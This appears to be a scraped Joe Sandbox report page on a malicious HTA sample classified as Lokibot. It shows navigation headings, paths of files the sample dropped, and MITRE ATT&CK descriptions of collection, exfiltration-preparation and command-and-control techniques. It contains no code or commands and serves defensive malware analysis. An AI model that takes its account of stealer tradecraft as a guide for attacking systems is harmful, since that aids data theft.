Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lokibot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wininit.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RESBF21.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01y1gpky.ksn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cm3eg2lp.am2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dsgyyn3u.beo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gtn40p3r.qfr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc2im1uf.x12.ps1

Windows Analysis Report
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre